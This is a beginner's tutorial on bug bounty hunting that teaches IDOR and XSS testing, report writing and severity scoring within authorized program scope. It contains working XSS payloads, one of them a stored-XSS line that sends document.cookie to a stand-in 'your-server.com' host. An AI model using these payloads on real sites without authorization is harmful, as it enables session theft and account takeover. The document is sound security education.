Bug bounty programs pay real money for finding real vulnerabilities in real applications — legally. Companies like Google, Microsoft, Facebook, and thousands of others run these programs because paying researchers to find vulnerabilities is far cheaper than dealing with a breach.
This guide tells you exactly where to start, which bugs are consistently findable as a beginner, and how to write a report that actually gets triaged and paid rather than closed as a duplicate or marked informational.
⚠️ Important: Only test within the defined scope of a program. Never test systems that are not explicitly listed as in-scope. Unauthorised testing — even of a company whose bug bounty program you are enrolled in — can result in legal consequences.
1. Choosing the Right Platform
Three platforms dominate bug bounty in 2025:
| Platform | Best For | Beginner Friendly? |
|---|
| HackerOne | Largest pool of programs including big tech | Yes — many public programs |
| Bugcrowd | Wide range of program types, good community | Yes |
| Intigriti | European companies, less competition | Moderate |
Start with HackerOne. Create an account, complete your profile, and browse public programs. Public programs are accessible to everyone without an invitation — no reputation score required.
2. How to Pick Your First Target
Do not start with Google, Microsoft, or Facebook. Their attack surface has been hammered by thousands of experienced researchers. Pick programs with these characteristics:
Recently launched — fresher programs have more untouched attack surface. Sort by “Newest” on HackerOne.
Wide scope — programs with many subdomains and features give you more places to look. A scope that lists *.company.com is far more valuable than one that lists only www.company.com.
SaaS products with user accounts — these have rich functionality and are consistently vulnerable to IDOR and authentication issues.
Active response times — check the program’s average time to first response. Avoid programs taking 30+ days. A good program responds within 5 to 7 days.
Paying in cash, not swag — filter for programs that offer monetary bounties, not just hall-of-fame credits.
💡 Tip: Read the program’s disclosed reports before testing. This tells you what bugs have already been found, what the triage team values, and how they write their responses. It is free intelligence.
3. What Bugs to Hunt as a Beginner
Not all vulnerabilities are equal in effort-to-reward ratio. These are the most consistently findable bugs that do not require advanced tooling or deep technical knowledge.
| Vulnerability | Effort | Typical Payout |
|---|
| IDOR (Insecure Direct Object Reference) | Low | $100 – $2,000 |
| Reflected XSS | Low to Medium | $50 – $500 |
| Stored XSS | Medium | $200 – $2,000 |
| Open Redirect | Low | $50 – $300 |
| Broken Authentication | Medium | $500 – $5,000+ |
| Sensitive Data Exposure | Low | $100 – $1,000 |
| CSRF on Sensitive Actions | Low to Medium | $50 – $500 |
As a beginner, focus on IDOR and XSS. Both are extremely common, require only a browser and Burp Suite to find, and are consistently present even in mature programs.
4. IDOR — The Most Beginner-Friendly High-Impact Bug
Insecure Direct Object Reference (IDOR) happens when an application uses a user-controllable identifier to access a resource without verifying whether the current user is authorised to access that specific resource.
A classic example — an API endpoint that returns user data:
GET /api/user/12345/profile HTTP/1.1
Authorization: Bearer eyJhbGc...
If you change 12345 to 12346 and receive another user’s profile data in the response — that is an IDOR worth reporting.
Where to Look for IDORs
- Any URL or API parameter containing a numeric ID, UUID, or username
- File download endpoints:
/download?file_id=88
- Invoice or order access:
/invoice/4421
- Profile editing endpoints with a user ID in the request body
- Admin actions that reference other users by their ID
- Export functionality that generates a report using an ID parameter
How to Test for IDORs
The most reliable method is the two-account technique:
- Create two accounts — call them Account A (attacker) and Account B (victim)
- Log in as Account B and perform an action — place an order, upload a file, update a setting
- Note the ID of the resource created: order ID, file ID, user ID
- Log out. Log in as Account A.
- Attempt to access or modify the resource using Account B’s ID
- If you succeed — it is an IDOR
# Example — accessing another user's order
GET /api/v2/orders/98231 HTTP/1.1
Authorization: Bearer <Account A's token>
# If response contains Account B's order data — valid IDOR
✅ Pro Move: Intercept every request made during normal app usage with Burp Suite. Look for IDs in the URL, in request bodies, and in response JSON. Build a list of every endpoint that uses an ID. Then systematically swap them.
5. XSS — Fast Wins with Burp Suite
Cross-Site Scripting (XSS) occurs when an application reflects or stores user input as executable HTML/JavaScript without proper encoding.
Reflected XSS
The payload is delivered via URL and executed when the victim visits the link:
// Basic test
"><script>alert(1)</script>
// In a search parameter
https://target.com/search?q="><script>alert(document.cookie)</script>
// If angle brackets are filtered, try event handlers
" onmouseover="alert(1)
" onfocus="alert(1)" autofocus="
Stored XSS
The payload is saved in the database and executes for every user who views the infected content:
// In a comment, bio, or profile field
<script>fetch('https://your-server.com/steal?c='+document.cookie)</script>
// If script tags are filtered
<img src=x onerror=alert(document.cookie)>
<svg onload=alert(1)>
Stored XSS is worth significantly more than reflected XSS because it executes without any interaction from the attacker after submission.
Testing Systematically
- Identify every input field that gets reflected back to the browser
- Start with
"><img src=x onerror=alert(1)> — it tests for multiple filter gaps at once
- Check the page source to see how your input is being handled
- If it appears inside a JavaScript string, try
'; alert(1)//
- If it appears inside an HTML attribute, try
" onmouseover="alert(1)
6. Writing a Report That Gets Paid
A poorly written report for a genuine vulnerability will be closed as Informational or Duplicate. Your report quality directly affects your payout. Use this structure every time.
Title
Be specific. The title alone should tell the triager exactly what was found, where, and what the impact is.
Bad: IDOR found
Good: IDOR in /api/v2/orders/{id} allows any authenticated user to view and cancel other users' orders
Description
Two to three sentences explaining what the vulnerability is, why it exists, and what an attacker can do with it. Write it so a developer who has never heard of IDOR can understand it.
Steps to Reproduce
Numbered steps. Exact requests and responses. Assume the triager has never seen your application flow before. Include a screenshot for every step.
1. Create two accounts: attacker@test.com (Account A) and victim@test.com (Account B)
2. Log in as Account B. Place an order. Note the order ID in the response: 98231
3. Log out. Log in as Account A.
4. Send the following request with Account A's session token:
GET /api/v2/orders/98231 HTTP/1.1
Authorization: Bearer <Account A's token>
5. Observe: the full order details of Account B's order are returned in the response,
including their name, shipping address, and payment summary.
Impact
Explain the real-world consequence. Who is affected? What data is exposed? Can the vulnerability be escalated to something worse? Quantify where possible.
Remediation
Always suggest a fix. For IDOR: “Verify that the authenticated user’s account ID matches the resource owner’s ID before returning any data. Do not rely solely on the user supplying a valid session token.”
7. Understanding Severity
Triagers use CVSS scoring. Over-inflating severity is one of the fastest ways to lose credibility with a program.
| Severity | CVSS | Example |
|---|
| Critical | 9.0 – 10.0 | Unauthenticated RCE, account takeover at scale |
| High | 7.0 – 8.9 | Authenticated RCE, IDOR exposing PII for all users |
| Medium | 4.0 – 6.9 | Stored XSS, CSRF on sensitive actions, single-user IDOR |
| Low | 0.1 – 3.9 | Open redirect, self-XSS, rate limiting issues |
| Informational | 0 | Banner disclosure, missing security headers, best practice suggestions |
A single-user IDOR that exposes one person’s order history is Medium. The same IDOR that exposes all users’ financial data without authentication is Critical. The difference matters for your payout.
8. Common Beginner Mistakes
Testing out of scope. Read the scope section of every program before you test a single endpoint. Testing out-of-scope assets — even accidentally — can get your account banned and potentially reported to law enforcement.
Reporting without proof of impact. “This parameter looks like it could be injectable” is not a valid report. Show the actual extracted data, the actual other user’s profile, the actual stored XSS executing.
Getting discouraged by duplicates. Receiving a duplicate response is completely normal, especially on older programs. It means you found a real vulnerability that someone else found first. Keep testing.
Ignoring disclosed reports. Every program’s public disclosure page is a goldmine. Read what has been reported, what got paid, and what the triagers wrote back. This tells you exactly what they value.
Chasing automated scanner output. Beginners often run scanners and report whatever comes out. Triagers have seen every automated finding before. Manual, logic-based bugs — especially IDOR and authentication issues — are what get paid.
Using aggressive tooling without thought. Running full Nessus scans, launching denial-of-service tests, or automated brute-force attacks without explicit permission is the fastest way to get banned and potentially face legal action.
🔴 Critical: Never exfiltrate real user data to demonstrate impact. A screenshot showing another user’s name and order ID is sufficient proof. Downloading a database, extracting thousands of records, or accessing payment information beyond what is needed to prove the bug is excessive and will likely result in your report being rejected and your account reviewed.
9. Your First Week Action Plan
Day 1 — Create accounts on HackerOne and Bugcrowd. Read 20 disclosed reports in your area of interest.
Day 2 to 3 — Set up Burp Suite. Practice intercepting traffic from your own accounts on a test target. Get comfortable with repeater.
Day 4 to 5 — Pick one SaaS program with a wide scope. Map all functionality with Burp’s site map. Identify every parameter that references a user, order, file, or account ID.
Day 6 to 7 — Test systematically: create two accounts, work through every ID-based endpoint using the two-account technique. Test every input field for XSS.
When you find something — write the report immediately while everything is fresh. Submit and move to the next target while waiting for triage.
For educational use only. Always obtain written permission and test within defined program scope.
